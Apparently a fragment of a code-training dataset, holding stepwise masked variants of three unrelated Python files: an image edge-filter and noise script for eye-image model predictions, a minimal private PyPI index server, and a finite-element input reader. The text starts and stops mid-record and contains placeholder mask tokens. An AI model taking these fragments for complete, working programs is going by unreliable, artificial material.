ret\n\n\ndef laplace(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n gray_lap = cv.Laplacian(np.float32(img), cv.CV_32F, ksize=3)\n dst = cv.convertScaleAbs(gray_lap)\n ret[i, :] = dst\n return ret\n\n\ndef sp_noise(img_set, prob=0.1):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n out = np.zeros(image.shape, np.uint8)\n thres = 1 - prob\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n rdn = random.random()\n if rdn < prob:\n out[i][j] = 0\n elif rdn > thres:\n out[i][j] = 255\n else:\n out[i][j] = image[i][j]\n ret[m, :] = out\n return ret\n\n\ndef gasuss_noise(img_set, mean=0, var=0.01):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n image = np.array(image / 255, dtype=float)\n noise = np.random.normal(mean, var ** 0.5, image.shape)\n out = image + noise\n if out.min() < 0:\n low_clip = -1.0\n else:\n low_clip = 0.0\n out = np.clip(out, low_clip, 1.0)\n out = np.uint8(out * 255)\n ret[m, :] = out\n return ret\n\n\ndef ouput_csv(X_, Y_, csv_path):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n data = model.predict(X_)\n dataDF = pd.DataFrame(data)\n dataDF['level'] = Y_[:, 0]\n dataDF['label'] = Y_[:, 1]\n print(dataDF)\n dataDF.to_csv(csv_path, index=False)\n\n\nx_train, y_train = set_data(train_img_path, label_df)\ny_in = np.c_[y_train, np.ones(y_train.shape[0])]\nx_test, y_test = set_data(test_img_path, label_df)\ny_out = np.c_[y_test, np.zeros(y_test.shape[0])]\nX_ = np.r_[sobel(x_train), sobel(x_test)]\nY_ = np.r_[y_in, y_out]\nouput_csv(X_, Y_, 'sobel_eye.csv')\n", "step-4": "import random\nimport tqdm\nfrom keras.models import load_model\nfrom ModelUtil import precision, recall, f1\nfrom tqdm import tqdm\nimport cv2 as cv\nimport numpy as np\nimport os\nimport pandas as pd\nfrom PIL import Image\nos.environ['CUDA_VISIBLE_DEVICES'] = '1'\nmodel_path = '/home/bo/Project/densenet.hdf5'\ntrain_img_path = '/home/bo/Project/Eyes_data/first_train/'\ntest_img_path = '/home/bo/Project/Eyes_data/first_test/'\nlabel_df = pd.read_csv('/home/bo/Project/Eyes_data/first_label.csv',\n error_bad_lines=False, index_col=0)\nSIZE = 224\n\n\ndef preprocess_image(image_path, desired_size=SIZE):\n \"\"\"\n Resize the picture to the desired size\n :param image_path: the path of image folder\n :param desired_size: the size that image will be cropped as. The default size is 224*224\n :return: the cropped image\n \"\"\"\n im = Image.open(image_path)\n im = im.resize((desired_size,) * 2, resample=Image.LANCZOS)\n return im\n\n\ndef set_data(img_path, dataframe):\n \"\"\"\n Correspond the image to the label and return them.\n :param img_path: the path of images' folder\n :param dataframe: the .csv file that shows relation between image and label\n :return: Image, Label and the name of Image\n \"\"\"\n N = len(os.listdir(img_path))\n x_ = np.empty((N, SIZE, SIZE, 3), dtype=np.uint8)\n y_ = np.empty(N)\n image_names = np.empty(N, dtype=np.dtype(('U', 15)))\n for i, img_name in enumerate(tqdm(os.listdir(img_path))):\n x_[i, :, :, :] = preprocess_image(img_path + img_name)\n y_[i] = dataframe.loc[img_name.split('.')[0], 'level']\n image_names[i] = img_name\n return x_, y_\n\n\ndef predict(X):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n ret = model.predict(X)\n return ret\n\n\ndef sobel(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Sobel(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Sobel(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef canny(img_set):\n ret = np.empty(img_set.shape)\n for i, image in enumerate(tqdm(img_set)):\n blurred = cv.GaussianBlur(np.float32(image), (3, 3), 0)\n gray = cv.cvtColor(blurred, cv.COLOR_RGB2GRAY)\n edge_output = cv.Canny(gray, 50, 150)\n dst = cv.bitwise_and(image, image, mask=edge_output)\n print(dst)\n ret[i, :] = dst\n return ret\n\n\ndef scharr(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Scharr(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Scharr(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef laplace(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n gray_lap = cv.Laplacian(np.float32(img), cv.CV_32F, ksize=3)\n dst = cv.convertScaleAbs(gray_lap)\n ret[i, :] = dst\n return ret\n\n\ndef sp_noise(img_set, prob=0.1):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n out = np.zeros(image.shape, np.uint8)\n thres = 1 - prob\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n rdn = random.random()\n if rdn < prob:\n out[i][j] = 0\n elif rdn > thres:\n out[i][j] = 255\n else:\n out[i][j] = image[i][j]\n ret[m, :] = out\n return ret\n\n\ndef gasuss_noise(img_set, mean=0, var=0.01):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n image = np.array(image / 255, dtype=float)\n noise = np.random.normal(mean, var ** 0.5, image.shape)\n out = image + noise\n if out.min() < 0:\n low_clip = -1.0\n else:\n low_clip = 0.0\n out = np.clip(out, low_clip, 1.0)\n out = np.uint8(out * 255)\n ret[m, :] = out\n return ret\n\n\ndef ouput_csv(X_, Y_, csv_path):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n data = model.predict(X_)\n dataDF = pd.DataFrame(data)\n dataDF['level'] = Y_[:, 0]\n dataDF['label'] = Y_[:, 1]\n print(dataDF)\n dataDF.to_csv(csv_path, index=False)\n\n\nx_train, y_train = set_data(train_img_path, label_df)\ny_in = np.c_[y_train, np.ones(y_train.shape[0])]\nx_test, y_test = set_data(test_img_path, label_df)\ny_out = np.c_[y_test, np.zeros(y_test.shape[0])]\nX_ = np.r_[sobel(x_train), sobel(x_test)]\nY_ = np.r_[y_in, y_out]\nouput_csv(X_, Y_, 'sobel_eye.csv')\n", "step-5": "\nimport random\nimport tqdm\nfrom keras.models import load_model\nfrom ModelUtil import precision, recall, f1\nfrom tqdm import tqdm\nimport cv2 as cv\nimport numpy as np\nimport os\nimport pandas as pd\nfrom PIL import Image\n\n\nos.environ['CUDA_VISIBLE_DEVICES']='1'\n\n\nmodel_path = '/home/bo/Project/densenet.hdf5'\ntrain_img_path = '/home/bo/Project/Eyes_data/first_train/'\ntest_img_path = '/home/bo/Project/Eyes_data/first_test/'\nlabel_df = pd.read_csv('/home/bo/Project/Eyes_data/first_label.csv', error_bad_lines=False, index_col=0)\n\nSIZE = 224\n\n\ndef preprocess_image(image_path, desired_size=SIZE):\n \"\"\"\n Resize the picture to the desired size\n :param image_path: the path of image folder\n :param desired_size: the size that image will be cropped as. The default size is 224*224\n :return: the cropped image\n \"\"\"\n im = Image.open(image_path)\n im = im.resize((desired_size,) * 2, resample=Image.LANCZOS)\n\n return im\n\ndef set_data(img_path, dataframe):\n \"\"\"\n Correspond the image to the label and return them.\n :param img_path: the path of images' folder\n :param dataframe: the .csv file that shows relation between image and label\n :return: Image, Label and the name of Image\n \"\"\"\n N = len(os.listdir(img_path))\n x_ = np.empty((N, SIZE, SIZE, 3), dtype=np.uint8)\n y_ = np.empty(N)\n image_names = np.empty(N, dtype=np.dtype(('U', 15)))\n for i, img_name in enumerate(tqdm(os.listdir(img_path))):\n x_[i, :, :, :] = preprocess_image(img_path + img_name)\n y_[i] = dataframe.loc[img_name.split('.')[0], 'level']\n image_names[i] = img_name\n\n return x_, y_\n\n\ndef predict(X):\n model = load_model(model_path,\n custom_objects={'precision': precision, 'recall': recall, 'f1': f1})\n ret = model.predict(X)\n\n return ret\n\ndef sobel(img_set):\n\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Sobel(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Sobel(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef canny(img_set):\n\n ret = np.empty(img_set.shape)\n for i, image in enumerate(tqdm(img_set)):\n blurred = cv.GaussianBlur(np.float32(image), (3, 3), 0)\n gray = cv.cvtColor(blurred, cv.COLOR_RGB2GRAY)\n edge_output = cv.Canny(gray, 50, 150)\n dst = cv.bitwise_and(image, image, mask=edge_output)\n print(dst)\n ret[i, :] = dst\n\n return ret\n\n\ndef scharr(img_set):\n\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Scharr(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Scharr(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n\n\n return ret\n\ndef laplace(img_set):\n\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n gray_lap = cv.Laplacian(np.float32(img), cv.CV_32F, ksize=3)\n dst = cv.convertScaleAbs(gray_lap)\n ret[i, :] = dst\n\n return ret\n\n\ndef sp_noise(img_set, prob=0.1):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n out = np.zeros(image.shape, np.uint8)\n thres = 1 - prob\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n rdn = random.random()\n if rdn < prob:\n out[i][j] = 0\n elif rdn > thres:\n out[i][j] = 255\n else:\n out[i][j] = image[i][j]\n ret[m,:] = out\n\n return ret\n\ndef gasuss_noise(img_set, mean=0, var=0.01):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n image = np.array(image/255, dtype=float)\n noise = np.random.normal(mean, var ** 0.5, image.shape)\n out = image + noise\n if out.min() < 0:\n low_clip = -1.\n else:\n low_clip = 0.\n out = np.clip(out, low_clip, 1.0)\n out = np.uint8(out*255)\n ret[m, :] = out\n return ret\n\ndef ouput_csv(X_, Y_, csv_path):\n model = load_model(model_path,\n custom_objects={'precision': precision, 'recall': recall, 'f1': f1})\n data = model.predict(X_)\n dataDF = pd.DataFrame(data)\n dataDF['level'] = Y_[:, 0]\n dataDF['label'] = Y_[:, 1]\n print(dataDF)\n dataDF.to_csv(csv_path, index=False)\n\n\n\n## if you would like to use sobel\nx_train, y_train = set_data(train_img_path,label_df)\ny_in = np.c_[y_train, np.ones(y_train.shape[0])]\nx_test, y_test = set_data(test_img_path,label_df)\ny_out = np.c_[y_test, np.zeros(y_test.shape[0])]\n\nX_ = np.r_[sobel(x_train), sobel(x_test)]\nY_ = np.r_[y_in, y_out]\n\nouput_csv(X_, Y_, 'sobel_eye.csv')\n\n## original output without operator\n# x_train, y_train = set_data(train_img_path,label_df)\n# y_in = np.c_[y_train, np.ones(y_train.shape[0])]\n# x_test, y_test = set_data(test_img_path,label_df)\n# y_out = np.c_[y_test, np.zeros(y_test.shape[0])]\n#\n# X_ = np.r_[x_train, x_test]\n# Y_ = np.r_[y_in, y_out]\n#\n# ouput_csv(X_, Y_, 'sobel_eye.csv')\n", "step-ids": [ 9, 10, 12, 13, 14 ] }
[ 9, 10, 12, 13, 14 ]
#!/usr/bin/python """ An extensible private pypi index. NOTES ON PACKAGE NAMES ---------------------- MPyPi tries the following when it does not find a package with the given name in the index: - replaces all _ with - and - lowercases the package name """ from __future__ import print_function from __future__ import unicode_literals import cgi import re from .util import PY2, PY3 if PY2: from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer else: from http.server import BaseHTTPRequestHandler, HTTPServer # --- format strings ENTRY_FMT = """<a href="{url}">{name}</a><br/>\n""" PAGE_FMT = """<html><head><title>Simple MPyPi Index</title><meta name="api-version" value="2" /></head><body>\n""" PKG_PAGE_FMT = """<!DOCTYPE html><html><head><title>Links for {name}</title></head><body><h1>Links for {name}</h1>\n""" # ------------------------------------------------------------------------------ # Snippet from pip._vendor.packaging.core # ------------------------------------------------------------------------------ _canonicalize_regex = re.compile(r"[-_.]+") def canonicalize_name(name): # This is taken from PEP 503. return _canonicalize_regex.sub("-", name).lower() # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # INTERNALLY USED FUNCTIONS # ------------------------------------------------------------------------------ # --- page formatting functions def page_index(packages): yield PAGE_FMT for p in packages: name = p.name url = name yield ENTRY_FMT.format(url=canonicalize_name(p.name), name=name) def page_package(package): yield PKG_PAGE_FMT.format(name=package.name) for (name, link) in package.links: yield ENTRY_FMT.format(name=name, url=link) def msg_404(pkg_name): return '<html><body> Package <b>{}</b> does not exist.</body></html>\n'.format(cgi.escape(pkg_name)) def make_request_handler(index): """ Arguments --------- index: dict-like - allows key lookups - has a values() function that returns a list of package instances. - supports get """ root_paths = {'', '/'} class PyPiRequestHandler(BaseHTTPRequestHandler): def get_package(self, package_name): package = index.get(package_name) return package def write_unicode(self, text): self.wfile.write(bytearray(text, encoding='utf-8')) def do_GET(self): print("GET", self.path) if self.path in root_paths: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # serve index page for line in page_index(index.values()): self.write_unicode(line) else: # follow pip standard of using lowercase names package_name = self.path.strip('/') package = self.get_package(package_name) if not package: self.send_response(404) self.send_header('Content-type','text/html') self.end_headers() self.write_unicode(msg_404(package_name)) return # serve package page self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # serve index page for line in page_package(package): self.write_unicode(line) return PyPiRequestHandler def main(packages, index=None, host='', port=7890): # optionally create an index if index is None: index = {} for p in packages: index[canonicalize_name(p.name)] = p try: server = HTTPServer((host, port), make_request_handler(index)) print('Started mpypi on port {}'.format(port)) server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down the web server') server.socket.close() if __name__ == '__main__': main([])
normal
{ "blob_id": "bd25b97de78f04510e43f13d356eb6c0025e223d", "index": 8121, "step-1": "<mask token>\n\n\ndef canonicalize_name(name):\n return _canonicalize_regex.sub('-', name).lower()\n\n\ndef page_index(packages):\n yield PAGE_FMT\n for p in packages:\n name = p.name\n url = name\n yield ENTRY_FMT.format(url=canonicalize_name(p.name), name=name)\n\n\ndef page_package(package):\n yield PKG_PAGE_FMT.format(name=package.name)\n for name, link in package.links:\n yield ENTRY_FMT.format(name=name, url=link)\n\n\n<mask token>\n\n\ndef make_request_handler(index):\n \"\"\"\n \n Arguments\n ---------\n index: dict-like\n - allows key lookups\n - has a values() function that returns a list of \n package instances.\n - supports get\n \"\"\"\n root_paths = {'', '/'}\n\n\n class PyPiRequestHandler(BaseHTTPRequestHandler):\n\n def get_package(self, package_name):\n package = index.get(package_name)\n return package\n\n def write_unicode(self, text):\n self.wfile.write(bytearray(text, encoding='utf-8'))\n\n def do_GET(self):\n print('GET', self.path)\n if self.path in root_paths:\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_index(index.values()):\n self.write_unicode(line)\n else:\n package_name = self.path.strip('/')\n package = self.get_package(package_name)\n if not package:\n self.send_response(404)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.write_unicode(msg_404(package_name))\n return\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_package(package):\n self.write_unicode(line)\n return PyPiRequestHandler\n\n\ndef main(packages, index=None, host='', port=7890):\n if index is None:\n index = {}\n for p in packages:\n index[canonicalize_name(p.name)] = p\n try:\n server = HTTPServer((host, port), make_request_handler(index))\n print('Started mpypi on port {}'.format(port))\n server.serve_forever()\n except KeyboardInterrupt:\n print('^C received, shutting down the web server')\n server.socket.close()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef canonicalize_name(name):\n return _canonicalize_regex.sub('-', name).lower()\n\n\ndef page_index(packages):\n yield PAGE_FMT\n for p in packages:\n name = p.name\n url = name\n yield ENTRY_FMT.format(url=canonicalize_name(p.name), name=name)\n\n\ndef page_package(package):\n yield PKG_PAGE_FMT.format(name=package.name)\n for name, link in package.links:\n yield ENTRY_FMT.format(name=name, url=link)\n\n\ndef msg_404(pkg_name):\n return ('<html><body> Package <b>{}</b> does not exist.</body></html>\\n'\n .format(cgi.escape(pkg_name)))\n\n\ndef make_request_handler(index):\n \"\"\"\n \n Arguments\n ---------\n index: dict-like\n - allows key lookups\n - has a values() function that returns a list of \n package instances.\n - supports get\n \"\"\"\n root_paths = {'', '/'}\n\n\n class PyPiRequestHandler(BaseHTTPRequestHandler):\n\n def get_package(self, package_name):\n package = index.get(package_name)\n return package\n\n def write_unicode(self, text):\n self.wfile.write(bytearray(text, encoding='utf-8'))\n\n def do_GET(self):\n print('GET', self.path)\n if self.path in root_paths:\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_index(index.values()):\n self.write_unicode(line)\n else:\n package_name = self.path.strip('/')\n package = self.get_package(package_name)\n if not package:\n self.send_response(404)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.write_unicode(msg_404(package_name))\n return\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_package(package):\n self.write_unicode(line)\n return PyPiRequestHandler\n\n\ndef main(packages, index=None, host='', port=7890):\n if index is None:\n index = {}\n for p in packages:\n index[canonicalize_name(p.name)] = p\n try:\n server = HTTPServer((host, port), make_request_handler(index))\n print('Started mpypi on port {}'.format(port))\n server.serve_forever()\n except KeyboardInterrupt:\n print('^C received, shutting down the web server')\n server.socket.close()\n\n\n<mask token>\n", "step-3": "<mask token>\nif PY2:\n from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\nelse:\n from http.server import BaseHTTPRequestHandler, HTTPServer\n<mask token>\n\n\ndef canonicalize_name(name):\n return _canonicalize_regex.sub('-', name).lower()\n\n\ndef page_index(packages):\n yield PAGE_FMT\n for p in packages:\n name = p.name\n url = name\n yield ENTRY_FMT.format(url=canonicalize_name(p.name), name=name)\n\n\ndef page_package(package):\n yield PKG_PAGE_FMT.format(name=package.name)\n for name, link in package.links:\n yield ENTRY_FMT.format(name=name, url=link)\n\n\ndef msg_404(pkg_name):\n return ('<html><body> Package <b>{}</b> does not exist.</body></html>\\n'\n .format(cgi.escape(pkg_name)))\n\n\ndef make_request_handler(index):\n \"\"\"\n \n Arguments\n ---------\n index: dict-like\n - allows key lookups\n - has a values() function that returns a list of \n package instances.\n - supports get\n \"\"\"\n root_paths = {'', '/'}\n\n\n class PyPiRequestHandler(BaseHTTPRequestHandler):\n\n def get_package(self, package_name):\n package = index.get(package_name)\n return package\n\n def write_unicode(self, text):\n self.wfile.write(bytearray(text, encoding='utf-8'))\n\n def do_GET(self):\n print('GET', self.path)\n if self.path in root_paths:\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_index(index.values()):\n self.write_unicode(line)\n else:\n package_name = self.path.strip('/')\n package = self.get_package(package_name)\n if not package:\n self.send_response(404)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.write_unicode(msg_404(package_name))\n return\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_package(package):\n self.write_unicode(line)\n return PyPiRequestHandler\n\n\ndef main(packages, index=None, host='', port=7890):\n if index is None:\n index = {}\n for p in packages:\n index[canonicalize_name(p.name)] = p\n try:\n server = HTTPServer((host, port), make_request_handler(index))\n print('Started mpypi on port {}'.format(port))\n server.serve_forever()\n except KeyboardInterrupt:\n print('^C received, shutting down the web server')\n server.socket.close()\n\n\nif __name__ == '__main__':\n main([])\n", "step-4": "<mask token>\nif PY2:\n from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\nelse:\n from http.server import BaseHTTPRequestHandler, HTTPServer\nENTRY_FMT = '<a href=\"{url}\">{name}</a><br/>\\n'\nPAGE_FMT = \"\"\"<html><head><title>Simple MPyPi Index</title><meta name=\"api-version\" value=\"2\" /></head><body>\n\"\"\"\nPKG_PAGE_FMT = \"\"\"<!DOCTYPE html><html><head><title>Links for {name}</title></head><body><h1>Links for {name}</h1>\n\"\"\"\n_canonicalize_regex = re.compile('[-_.]+')\n\n\ndef canonicalize_name(name):\n return _canonicalize_regex.sub('-', name).lower()\n\n\ndef page_index(packages):\n yield PAGE_FMT\n for p in packages:\n name = p.name\n url = name\n yield ENTRY_FMT.format(url=canonicalize_name(p.name), name=name)\n\n\ndef page_package(package):\n yield PKG_PAGE_FMT.format(name=package.name)\n for name, link in package.links:\n yield ENTRY_FMT.format(name=name, url=link)\n\n\ndef msg_404(pkg_name):\n return ('<html><body> Package <b>{}</b> does not exist.</body></html>\\n'\n .format(cgi.escape(pkg_name)))\n\n\ndef make_request_handler(index):\n \"\"\"\n \n Arguments\n ---------\n index: dict-like\n - allows key lookups\n - has a values() function that returns a list of \n package instances.\n - supports get\n \"\"\"\n root_paths = {'', '/'}\n\n\n class PyPiRequestHandler(BaseHTTPRequestHandler):\n\n def get_package(self, package_name):\n package = index.get(package_name)\n return package\n\n def write_unicode(self, text):\n self.wfile.write(bytearray(text, encoding='utf-8'))\n\n def do_GET(self):\n print('GET', self.path)\n if self.path in root_paths:\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_index(index.values()):\n self.write_unicode(line)\n else:\n package_name = self.path.strip('/')\n package = self.get_package(package_name)\n if not package:\n self.send_response(404)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.write_unicode(msg_404(package_name))\n return\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n for line in page_package(package):\n self.write_unicode(line)\n return PyPiRequestHandler\n\n\ndef main(packages, index=None, host='', port=7890):\n if index is None:\n index = {}\n for p in packages:\n index[canonicalize_name(p.name)] = p\n try:\n server = HTTPServer((host, port), make_request_handler(index))\n print('Started mpypi on port {}'.format(port))\n server.serve_forever()\n except KeyboardInterrupt:\n print('^C received, shutting down the web server')\n server.socket.close()\n\n\nif __name__ == '__main__':\n main([])\n", "step-5": "#!/usr/bin/python\n\"\"\"\nAn extensible private pypi index.\n\nNOTES ON PACKAGE NAMES\n----------------------\nMPyPi tries the following when it does not find a package \nwith the given name in the index:\n - replaces all _ with - and\n - lowercases the package name\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport cgi\nimport re\n\nfrom .util import PY2, PY3\n\nif PY2:\n from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\nelse:\n from http.server import BaseHTTPRequestHandler, HTTPServer\n\n# --- format strings\nENTRY_FMT = \"\"\"<a href=\"{url}\">{name}</a><br/>\\n\"\"\"\nPAGE_FMT = \"\"\"<html><head><title>Simple MPyPi Index</title><meta name=\"api-version\" value=\"2\" /></head><body>\\n\"\"\"\nPKG_PAGE_FMT = \"\"\"<!DOCTYPE html><html><head><title>Links for {name}</title></head><body><h1>Links for {name}</h1>\\n\"\"\"\n\n\n# ------------------------------------------------------------------------------ \n# Snippet from pip._vendor.packaging.core\n# ------------------------------------------------------------------------------ \n_canonicalize_regex = re.compile(r\"[-_.]+\")\n\ndef canonicalize_name(name):\n # This is taken from PEP 503.\n return _canonicalize_regex.sub(\"-\", name).lower()\n# ------------------------------------------------------------------------------ \n\n# ------------------------------------------------------------------------------ \n# INTERNALLY USED FUNCTIONS\n# ------------------------------------------------------------------------------ \n# --- page formatting functions\ndef page_index(packages):\n yield PAGE_FMT\n for p in packages:\n name = p.name\n url = name\n yield ENTRY_FMT.format(url=canonicalize_name(p.name), name=name)\n\ndef page_package(package):\n yield PKG_PAGE_FMT.format(name=package.name)\n for (name, link) in package.links:\n yield ENTRY_FMT.format(name=name, url=link)\n\ndef msg_404(pkg_name):\n return '<html><body> Package <b>{}</b> does not exist.</body></html>\\n'.format(cgi.escape(pkg_name))\n\n\ndef make_request_handler(index):\n \"\"\"\n \n Arguments\n ---------\n index: dict-like\n - allows key lookups\n - has a values() function that returns a list of \n package instances.\n - supports get\n \"\"\"\n root_paths = {'', '/'}\n\n class PyPiRequestHandler(BaseHTTPRequestHandler):\n\n def get_package(self, package_name):\n package = index.get(package_name)\n return package\n\n def write_unicode(self, text):\n self.wfile.write(bytearray(text, encoding='utf-8'))\n\n def do_GET(self):\n print(\"GET\", self.path)\n if self.path in root_paths:\n self.send_response(200)\n self.send_header('Content-type','text/html')\n self.end_headers()\n\n # serve index page\n for line in page_index(index.values()):\n self.write_unicode(line)\n else:\n # follow pip standard of using lowercase names\n package_name = self.path.strip('/')\n package = self.get_package(package_name)\n\n if not package:\n self.send_response(404)\n self.send_header('Content-type','text/html')\n self.end_headers()\n self.write_unicode(msg_404(package_name))\n return\n # serve package page\n self.send_response(200)\n self.send_header('Content-type','text/html')\n self.end_headers()\n\n # serve index page\n for line in page_package(package):\n self.write_unicode(line)\n\n return PyPiRequestHandler \n\ndef main(packages, index=None, host='', port=7890):\n # optionally create an index\n if index is None:\n index = {}\n for p in packages:\n index[canonicalize_name(p.name)] = p\n try:\n server = HTTPServer((host, port), make_request_handler(index))\n print('Started mpypi on port {}'.format(port))\n server.serve_forever()\n except KeyboardInterrupt:\n print('^C received, shutting down the web server')\n server.socket.close()\n\nif __name__ == '__main__':\n main([])\n", "step-ids": [ 5, 6, 7, 8, 10 ] }
[ 5, 6, 7, 8, 10 ]
from elements import Node, Bar, Material, Group, Load from pprint import pprint # query # next((e for e in result['coordinates']['nodes'] if e.n == int(el[0])), None) class Reader(): def read(self, filePath): """ Reads text file with nodes and returns the result dict with all objects and their nested properties """ result = { 'coordinates': { 'count': 0, 'nodes': [] }, 'element_groups': { 'number_of_elements': 0, 'count': 0, 'groups': [] }, 'bars': [], 'materials': { 'count': 0, 'materials': [] }, 'geometric_properties': { 'count': 0 }, 'bcnodes': { 'count': 0 }, 'loads': { 'count': 0 } } # print(result['coordinates']['nodes']) with open(filePath,'r') as f: lines = f.readlines() elementCounter = 0 groupCounter = 0 geometricCounter = 0 for line in lines: line = line.strip() el = line.split(' ') if len(line) == 0: continue if len(line) != 0 and line[0] == "*": section = line[1:].lower() continue if section == 'coordinates': if len(el) == 1 : result[section]['count'] = el[0] else: result[section]['nodes'].append(Node(int(el[0]), float(el[1]), float(el[2]))) elif section == 'element_groups': if len(line) == 1: result[section]['count'] = int(el[0]) else: result[section]['groups'].append(Group(el[0], el[1], el[2])) result[section]['number_of_elements'] += int(el[1]) elif section == 'incidences': groups = result['element_groups']['groups'] nodes = result['coordinates']['nodes'] print(el) currentGroup = groups[groupCounter] if (currentGroup.amount == 0): groupCounter += 1 currentGroup = groups[groupCounter] print("Group n: {} count: {}".format(currentGroup.n, currentGroup.amount)) bar = Bar(el[0], nodes[int(el[1])-1], nodes[int(el[2])-1], groups[groupCounter]) print( """ Bar {} created Start node: {} End Node: {} Group: {} """.format(bar.id, bar.startNode.n, bar.endNode.n, bar.group)) result['bars'].append(bar) currentGroup.amount -= 1 elif section == 'materials': if len(el) == 1: result[section]['count'] = el[0] groupCounter = 0 else: material = Material(el[0], el[1], el[2]) result[section]['materials'].append(material) result['element_groups']['groups'][groupCounter].setMaterial(material) groupCounter += 1 elif section == 'geometric_properties': if geometricCounter == 0: result[section]['count'] = el[0] else: result['element_groups']['groups'][geometricCounter - 1].setSectionArea( el[0] ) geometricCounter += 1 elif section == 'bcnodes': if len(el) == 1: result[section]['count'] = el[0] else: nodeIndex = next((e for e, item in enumerate( result['coordinates']['nodes']) if item.n == int(el[0])), None ) result['coordinates']['nodes'][nodeIndex].setRestriction(int(el[1])) elif section == 'loads': if len(el) == 1: result[section]['count'] = el[0] else: load = Load(el[1], el[2]) nodeIndex = next((e for e, item in enumerate( result['coordinates']['nodes']) if item.n == int(el[0])), None ) result['coordinates']['nodes'][nodeIndex].addLoad(load) for bar in result['bars']: bar.createLocalArray() print('---------- Parsing complete! ----------') pprint(result) print('---------------------------------------') return result # reader = Reader() # reader.read("./arquivoentrada.fem")
normal
{ "blob_id": "c796123fbbf3adcde59779a104dcafb30a673a79", "index": 6422, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Reader:\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Reader:\n\n def read(self, filePath):\n \"\"\"\n Reads text file with nodes and returns the result dict with all objects\n and their nested properties\n \"\"\"\n result = {'coordinates': {'count': 0, 'nodes': []},\n 'element_groups': {'number_of_elements': 0, 'count': 0,\n 'groups': []}, 'bars': [], 'materials': {'count': 0,\n 'materials': []}, 'geometric_properties': {'count': 0},\n 'bcnodes': {'count': 0}, 'loads': {'count': 0}}\n with open(filePath, 'r') as f:\n lines = f.readlines()\n elementCounter = 0\n groupCounter = 0\n geometricCounter = 0\n for line in lines:\n line = line.strip()\n el = line.split(' ')\n if len(line) == 0:\n continue\n if len(line) != 0 and line[0] == '*':\n section = line[1:].lower()\n continue\n if section == 'coordinates':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n result[section]['nodes'].append(Node(int(el[0]),\n float(el[1]), float(el[2])))\n elif section == 'element_groups':\n if len(line) == 1:\n result[section]['count'] = int(el[0])\n else:\n result[section]['groups'].append(Group(el[0], el[1],\n el[2]))\n 